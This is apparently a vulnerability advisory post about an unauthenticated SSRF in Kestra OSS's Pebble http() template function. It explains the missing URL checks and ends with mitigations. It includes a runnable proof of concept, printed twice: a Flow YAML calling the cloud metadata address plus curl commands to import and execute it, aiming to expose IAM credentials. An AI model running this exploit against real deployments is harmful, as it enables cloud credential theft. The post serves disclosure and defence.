Listen to this Post
The vulnerability is an unauthenticated Server-Side Request Forgery in Kestra OSS.
It exists in the Pebble template engine http() function.
The root cause is core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java.
Lines 77-106 pass user-controlled URLs to URI.create().
There is no URL validation before the request.
There is no check for private IP ranges.
Missing checks include 10.0.0.0/8.
Missing checks include 192.168.0.0/16.
Missing checks include 169.254.169.254.
Missing checks include 127.0.0.1.
There is no host restriction for internal services.
There is no scheme restriction.
Schemes like file:// are not blocked.
Schemes like gopher:// are not blocked.
No authentication is required for the vulnerable path.
TenantValidationFilter.java only checks tenant == “main”.
That check does not authenticate the attacker.
HttpFunction is registered unconditionally.
Registration occurs in Extension.java:180.
No feature flags guard the function.
An attacker can create a malicious Flow YAML.
The YAML uses {{ http(uri=’http://169.254.169.254/latest/meta-data/’, method=’GET’) }}.
The attacker imports the flow through the API.
The import endpoint is /api/v1/main/flows/import.
The attacker executes the flow.
The execution endpoint is /api/v1/main/executions/company.team/ssrf_metadata.
The server-side request reaches internal services.
It can reach AWS EC2 metadata.
It can reach GCP and Azure metadata endpoints.
It can reach localhost services.
Output may include ami-id, instance-type, and IAM credentials.
CVSS 3.1 score is 8.6 HIGH.
Vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
CWE is CWE-918.
Affected are all Kestra OSS default deployments.
DailyCVE Form:
Platform: Kestra OSS
Version: All default
Vulnerability : Pebble http() SSRF
Severity: High
date: Not provided
Prediction: Unknown
What Undercode Say:
Analytics
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrf_poc.yaml"
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java lines 77-106 URI.create()
TenantValidationFilter.java tenant == "main"
Extension.java:180 HttpFunction
Exploit: (Educational Purposes!)
Prerequisites:
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local sleep 30
Step 1:
cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
- id: exfiltrate
type: io.kestra.plugin.core.log.Log
message: |
{{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML
Step 2:
curl -X POST http://localhost:8080/api/v1/main/flows/import \ -F "fileUpload=@/tmp/ssrf_poc.yaml"
Step 3:
curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata
Step 4:
flow execution output contains AWS EC2 metadata ami-id instance-type IAM credentials if available
Protection: from this CVE
- Upgrade when patch available.
- Block private IP ranges.
- Block 10.0.0.0/8.
- Block 192.168.0.0/16.
- Block 169.254.169.254.
- Block 127.0.0.1.
- Restrict file:// scheme.
- Restrict gopher:// scheme.
- Require authentication.
- Disable http() if unused.
- Add egress filtering.
- Validate user URLs.
Impact:
- CVSS 3.1: 8.6 HIGH.
- AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
- CWE: CWE-918.
- Affected: All Kestra OSS versions.
- Default deployment affected.
- Internal services accessible.
- Cloud metadata accessible.
- AWS metadata accessible.
- GCP metadata accessible.
- Azure metadata accessible.
- Localhost endpoints accessible.
- Cloud credential theft possible.
- Potential escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
